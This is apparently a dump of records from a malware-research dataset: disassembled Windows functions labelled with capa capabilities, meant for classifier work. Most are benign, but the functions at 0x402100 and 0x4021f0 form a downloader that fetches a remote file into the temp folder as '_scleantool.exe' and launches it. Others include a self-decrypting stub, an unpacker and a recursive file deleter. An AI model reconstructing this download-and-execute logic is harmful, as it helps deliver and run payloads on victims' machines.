joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006c3f0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100a93f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.100a1fb9
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.1006bd50
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.100a1ee7
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.1009e791
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.1009e791
push 1
push 0
push 0
mov ecx, esi
call fcn.1009e739
push 1
push 0
push 1
mov ecx, esi
call fcn.1009e739
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.100a202b
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x1006c570
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100a9418
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.100a1fb9
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.1006bd50
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.100a1ee7
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x1006c634
cmp dword [esp + 0x40], 1
jne 0x1006c632
cmp ecx, eax
jge 0x1006c634
mov eax, ecx
cmp eax, 0xc8
jge 0x1006c640
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.1006c3f0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.100a202b
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x1006ce30
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100a94c3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.1009cbae
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.100a2261
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.100a377d
test eax, eax
je 0x1006cf4c
mov ecx, dword [esp + 0x3c]
call fcn.100a228e
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x1006cf10
push edi
mov ecx, esi
call fcn.1009f8dc
mov ecx, esi
call fcn.1006d0f0
cmp dword [esp + 0x38], 1
jne 0x1006cf45
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.1009fa17
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x1006f130
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1006f163
push esi
call fcn.1007d4f0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1006f15c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1006f1e9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1006f1d2
mov eax, dword [esi + 8]
test eax, eax
je 0x1006f187
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1006f1ce
cmp eax, 2
je 0x1006f1d2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1006f17a
cmp eax, 3
je 0x1006f1ad
cmp eax, 1
jne 0x1006f17a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1006f17a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1006f17a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1006f210
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1006f1f8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1006f210
add esp, 4
pop esi
ret

Function at 0x1006fa90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x1006fab1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x1006fab1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1006fab1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1006ff00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1006ff0b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1007000e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x100b4d68]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100b4d68]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100b4d68]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100b4d68]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100b4d68]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100b4d68]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100b4d68]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x100b4d68]
xor eax, edx
inc ecx
dec edi
jne 0x1006ff26
pop edi
test esi, esi
je 0x10070030
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x100b4d68]
xor eax, edx
inc ecx
dec esi
jne 0x10070012
pop esi
pop ebx
not eax
ret
Function at 0x1009d9a4
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1009d9dc
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1009ba5b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1009ba33
jmp 0x1009d9e8
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x1009f099
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1009f0db
call fcn.100a4b68
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1009f0db
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x1009f0d2
xor eax, eax
jmp 0x1009f0e3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1009f0e9
pop edi
pop esi
pop ebx
ret 4
Function at 0x402030
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
lea eax, [esp]
push ebx
mov ebx, dword [esp + 0x218]
push esi
push edi
mov edi, dword [esp + 0x224]
push eax
push 0xf013f
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
je 0x402078
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x210
ret
lea edx, [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push edx
mov edx, dword [esp + 0x10]
push 0
push 0
lea eax, [esp + 0x1c]
push 0
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push edx
mov dword [esp + 0x30], 0x200
call esi
test eax, eax
jne 0x4020dc
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x1c]
push eax
push ecx
call fcn.00402030
add esp, 8
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x10]
push 0
push 0
push 0
push eax
push ecx
push 0
push edx
call esi
test eax, eax
je 0x4020a8
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
pop esi
pop ebx
add esp, 0x210
ret

Function at 0x402100
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x2804
call fcn.00402550
mov eax, dword [esp + 0x280c]
mov ecx, dword [esp + 0x2808]
push ebx
push ebp
push esi
push edi
push 0
push 0x4000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x402140
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2804
ret
mov edx, dword [esp + 0x2820]
push 0x404074
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x402170
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2804
ret
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
push 0x64
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push 0x2800
push ecx
push esi
call ebp
test eax, eax
je 0x4021b2
mov eax, dword [esp + 0x10]
push edi
test eax, eax
je 0x4021d0
push eax
lea edx, [esp + 0x1c]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
jmp 0x40217c
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2804
ret
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2804
ret
Function at 0x4021f0
Capabilities:
Create http request
Create process on windows
Get common file path

Disassembly:
sub esp, 0x8ec
push ebx
push 0
push 0
push 0
push 0
push str.XXXX
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x402218
pop ebx
add esp, 0x8ec
ret
push esi
lea eax, [esp + 0x50c]
push edi
push eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x510]
lea edx, [esp + 0x128]
push ecx
push str._scleantool.exe
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, str.http:__www.baidu.com_kfixstak
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x6c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x6c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x134]
push ecx
push edx
push ebx
call fcn.00402100
add esp, 0x18
cmp eax, 1
jne 0x4022f4
xor eax, eax
mov ecx, 0x11
mov dword [esp + 0xc], eax
lea edi, [esp + 0x1c]
mov dword [esp + 0x10], eax
lea edx, [esp + 0x1c]
mov dword [esp + 0x14], eax
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
push ecx
push edx
push eax
push eax
push eax
push 1
push eax
mov word [esp + 0x68], ax
push eax
lea eax, [esp + 0x148]
push eax
push 0
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x70], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4022f4
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call esi
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x8ec
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xe170b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0xe17200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xe170d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe170c2
add dl, dl
jne 0xe170e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe17134
xor eax, eax
add dl, dl
jne 0xe170ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe171d5
add dl, dl
jne 0xe170fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe17108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe17113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe1711e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xe1712a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xe170cd
mov eax, 1
add dl, dl
jne 0xe17142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe1714d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe17139
sub eax, ebx
mov ebx, 1
jne 0xe17180
mov ecx, 1
add dl, dl
jne 0xe17166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xe17171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe1715d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe170cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xe17197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xe171a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe1718e
cmp eax, 0x7d00
jae 0xe171c5
cmp eax, 0x500
jb 0xe171c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe170cd
cmp eax, 0x7f
ja 0xe171c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe170cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xe171f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xe170cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4086b0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
sub esp, 0x25c
push ebx
mov ebx, dword [esp + 0x268]
push ebp
push esi
mov esi, dword [esp + 0x26c]
mov ebp, ebx
push esi
and ebp, 4
call fcn.00408500
mov dword [esp + 0xc], eax
test bl, 8
je 0x4086f9
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
pop esi
sbb eax, eax
inc eax
add dword [0x439608], eax
pop ebp
pop ebx
add esp, 0x25c
ret 8
push edi
mov edi, ebx
and edi, 1
mov dword [esp + 0x18], edi
je 0x408716
test eax, eax
je 0x40885c
test bl, 2
je 0x40885c
push 0x800
push esi
push 0x4302b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
test edi, edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x40873f
push 0x40cbdc
push 0x4302b8
call edi
jmp 0x408745
push esi
call fcn.00408d70
cmp word [esi], 0
jne 0x408755
cmp word [0x4302b8], 0x5c
jne 0x40875d
push 0x40c368
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esi + eax*2]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x1c]
push eax
push 0x4302b8
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40883e
cmp word [esp + 0x48], 0x2e
jne 0x4087aa
mov ax, word [esp + 0x4a]
test ax, ax
je 0x40881f
cmp ax, 0x2e
jne 0x4087aa
cmp word [esp + 0x4c], 0
je 0x40881f
push 0x800
lea eax, [esp + 0x4c]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
test byte [esp + 0x1c], 0x10
je 0x4087d7
mov eax, ebx
and eax, 3
cmp al, 3
jne 0x40881f
push ebx
push esi
call fcn.004086b0
jmp 0x40881f
push ebp
push esi
call fcn.00408400
test eax, eax
jne 0x408817
test ebp, ebp
je 0x40880f
push esi
push 0xfffffffffffffff1
call fcn.00407ab0
push 5
push 0
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x408807
push eax
push esi
call fcn.00408070
add esp, 8
inc dword [0x439610]
jmp 0x40881f
inc dword [0x439608]
jmp 0x40881f
push esi
push 0xfffffffffffffff2
call fcn.00407ab0
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x408786
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call ebx
jmp 0x408844
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [esp + 0x18]
test edi, edi
je 0x408856
mov eax, dword [esp + 0x14]
xor ecx, ecx
mov word [eax - 2], cx
mov eax, dword [esp + 0x10]
jmp 0x408862
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
test edi, edi
pop edi
je 0x4088cf
test eax, eax
je 0x4088b5
push 0x4336b8
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4088cf
push eax
call ebx
push esi
call fcn.004083d0
mov eax, ebp
or eax, 1
push eax
push esi
call fcn.00408400
test eax, eax
jne 0x4088c7
test ebp, ebp
je 0x4088b5
push esi
push 0xfffffffffffffff1
call fcn.00407ab0
push 0
push esi
call fcn.00407ff0
pop esi
pop ebp
pop ebx
add esp, 0x25c
ret 8
inc dword [0x439608]
pop esi
pop ebp
pop ebx
add esp, 0x25c
ret 8
push esi
push 0xffffffffffffffe5
call fcn.00407ab0
pop esi
pop ebp
pop ebx
add esp, 0x25c
ret 8
Function at 0x10010a50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1009a320
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.1008f320
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.10011c70
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x10010aa4
jmp dword [ecx*4 + 0x10010c0c]
mov al, byte [esi]
test al, al
je 0x10010ad2
cmp al, 0x20
je 0x10010abe
cmp al, 0xa1
jne 0x10010ad2
cmp byte [esi + 1], al
jne 0x10010ad2
test al, 0x80
je 0x10010aca
mov al, byte [esi + 1]
inc esi
test al, al
je 0x10010ad2
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x10010ab1
test ecx, ecx
je case.default.0x10010aa4
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x10010aa4
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x10010b18
cmp dl, 0xa1
jne 0x10010b0c
cmp byte [eax + 1], 0xa1
jne 0x10010b0c
test ecx, ecx
jne 0x10010b04
mov edi, eax
mov ecx, 1
inc eax
jmp 0x10010b2c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x10010b46
jmp 0x10010b2c
cmp dl, 0x20
jne 0x10010b2a
test ecx, ecx
jne 0x10010b23
mov edi, eax
mov ecx, 1
jmp 0x10010b2c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x10010aec
cmp ecx, 1
jne case.default.0x10010aa4
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x10010aa4
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x10010aa4
mov al, byte [esi]
test al, al
je 0x10010b9e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x10010b84
mov cl, byte [esi + 1]
test cl, cl
je 0x10010b9e
cmp al, 0xa1
jne 0x10010b74
cmp cl, al
je 0x10010b81
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.10011f40
inc esi
jmp 0x10010b96
cmp al, 0x20
je 0x10010b96
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.10011f80
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x10010b5d
push 0
lea ecx, [esp + 0x14]
call fcn.10011f80
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10022e70
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x10010bd1
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x100a7598
call fcn.10011e70
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.1008f2b2
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret